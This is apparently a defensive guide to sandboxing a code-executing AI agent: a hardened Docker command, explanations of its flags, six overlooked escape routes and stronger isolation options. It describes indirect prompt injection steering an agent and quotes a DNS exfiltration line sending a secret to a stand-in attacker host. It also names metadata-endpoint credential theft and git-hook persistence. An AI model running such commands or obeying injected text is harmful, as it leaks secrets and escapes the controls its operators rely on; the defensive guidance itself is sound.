Sandboxing an Agent That Executes Code
5 min read · updated August 3, 2026
The threat model is unusual and that is what makes it easy to get wrong. The code is not written by an attacker, and it is not written by a trusted developer either. It is written by a model that has been reading attacker-controlled text all afternoon.
What you are actually defending against
Three sources, ordered by how often they bite:
- Accident. An
rm -rfwith a variable that was empty, a script that fills the disk, a dependency install that takes an hour. Overwhelmingly the most common, and cheap to contain. - Indirect prompt injection. The agent reads a web page, an issue comment, a README or a log file containing instructions. That text becomes context and the model may act on it. The attacker never touched your system; they wrote a paragraph somewhere your agent would read it.
- Direct abuse. If users can prompt the agent, they can ask it to run their code on your infrastructure. You are now operating a compute service, whether or not you meant to.
The second is the one that changes the design. It means the sandbox must hold against deliberate, competent attempts even though the feature is “let the assistant run a script”, and it means you cannot rely on the model refusing — the instruction and the data arrive on the same channel.
A baseline container
docker run --rm \ --network=none \ --read-only \ --tmpfs /tmp:rw,noexec,nosuid,size=64m \ --mount type=bind,src=$WORKSPACE,dst=/work \ --workdir /work \ --user 65534:65534 \ --cap-drop=ALL \ --security-opt=no-new-privileges \ --pids-limit=128 \ --memory=512m --memory-swap=512m \ --cpus=1.0 \ --ulimit nofile=256:256 --ulimit fsize=52428800 \ agent-runtime:pinned timeout 60 python /work/script.py
| Flag | Description |
|---|---|
| --network=none | The single most valuable line. No egress means no exfiltration, no reverse shell, no cryptominer, no cloud metadata. Everything below is defence in depth behind this one. |
| --read-only + --tmpfs | The image is immutable; writes go to a small noexec tmpfs and the bind-mounted workspace. noexec stops the common pattern of writing a binary to /tmp and running it. |
| --user 65534 | Runs as nobody. Root inside a container is root in the user namespace unless you have userns remapping, and that is a much shorter distance to a kernel bug than nobody is. |
| --cap-drop=ALL | Removes CAP_NET_RAW, CAP_SYS_PTRACE, CAP_DAC_OVERRIDE and the rest. Almost nothing an agent legitimately runs needs any capability. |
| no-new-privileges | Blocks the setuid escalation path, so a setuid binary that survives in the image cannot be used to regain privilege. |
| --pids-limit / --memory / --cpus / --ulimit fsize | Fork bombs, OOM of the host, CPU starvation of your other tenants, and a 200GB log file. These are the accident-class defences and they fire far more often than the security ones. |
| timeout 60 | Inside the container, because a container with no timeout runs until something else kills it -- and if the orchestrator is what times out, you have a leaked container. |
Also note what is not here: no --privileged, no Docker socket mount, no host network, no --pid=host. Each of those turns the container from a boundary into a formality.
Six escapes people forget
1. The container is not a security boundary against the kernel
Containers share the host kernel; a kernel or runtime vulnerability is a full escape. This is not theoretical — CVE-2019-5736 in runc allowed a container process to overwrite the host runc binary by exploiting /proc/self/exe, giving root on the host from inside a container. Patch cadence is part of your sandbox design, and if you are running genuinely untrusted code, see the stronger isolation below.
2. The cloud metadata endpoint
If you allow any network at all, 169.254.169.254 is reachable from most cloud VMs and, on instance metadata v1, returns the instance’s IAM credentials to anything that asks over plain HTTP with no headers. An agent that can fetch a URL can fetch that one. Use --network=none; if you cannot, block link-local in the network namespace and require IMDSv2 with a hop limit of 1.
3. DNS as an exfiltration channel
A common half-measure is to block outbound HTTP but leave DNS working so package installs resolve. DNS is a data channel: nslookup <base32-of-your-secret>.attacker.example exfiltrates fine, and it appears in no HTTP log. If egress is required, use an allowlisting proxy and treat DNS as part of the allowlist.
4. The bind mount is a hole you drilled
Mounting the workspace is necessary and is also the path back out. Symlinks inside the workspace can point anywhere the mount permits; .git/hooks/, .vscode/, package.json scripts, Makefile, conftest.py and CI config are all files that cause code to run outside the sandbox later, on a developer machine or a build runner. An agent that can write to the repository can write a post-checkout hook. Review diffs to those paths as seriously as you review a deploy.
5. Secrets in the environment
Whatever is in the container’s environment is readable by anything running in it. Passing an API key so a script can call your own service means the sandboxed code has that key. Pass nothing; if a tool needs credentials, run the tool outside the sandbox and let the sandboxed code request it through a narrow, audited interface.
6. Time and disk are resources too
The escapes people plan for are the exciting ones. The incidents are usually a build loop that ran for six hours across four hundred containers, or a workspace that grew until the host filled up. Quotas and timeouts are boring and belong in the same review as the seccomp profile.
When a container is not enough
- Default seccomp is on, and it is not tight. Docker applies a default profile that blocks a few dozen syscalls of the several hundred available. A custom allowlist profile for a known workload — Python and a handful of tools — is materially smaller and worth writing if you are hosting untrusted execution.
- gVisor interposes a user-space kernel between the workload and the host, so most syscalls never reach the host kernel. A real reduction in attack surface for a modest performance cost, and close to a drop-in replacement for the runtime.
- Firecracker or a plain VM gives you hardware virtualisation with a hypervisor boundary rather than a namespace one. This is what the code-execution products actually use, and it is the honest answer for arbitrary user-submitted code.
- WebAssembly for the narrow case where the code needs no filesystem and no network. Strong isolation by construction, at the price of a much smaller runtime.
Every shell tool is code execution
The last point is the one that catches teams who believe they have no code-execution feature. A tool that shells out to grep with a model-supplied pattern is code execution if the pattern reaches a shell. So is a tool that runs your test suite, or a linter with a plugin configuration, or anything invoking make. The presence of subprocess and a string from the model in the same function is the trigger, and it is the reason the schema constraints on those parameters do double duty: they are guidance to the model and the first layer of input validation. Pass arguments as a list, never through shell=True, and put the sandbox around it anyway.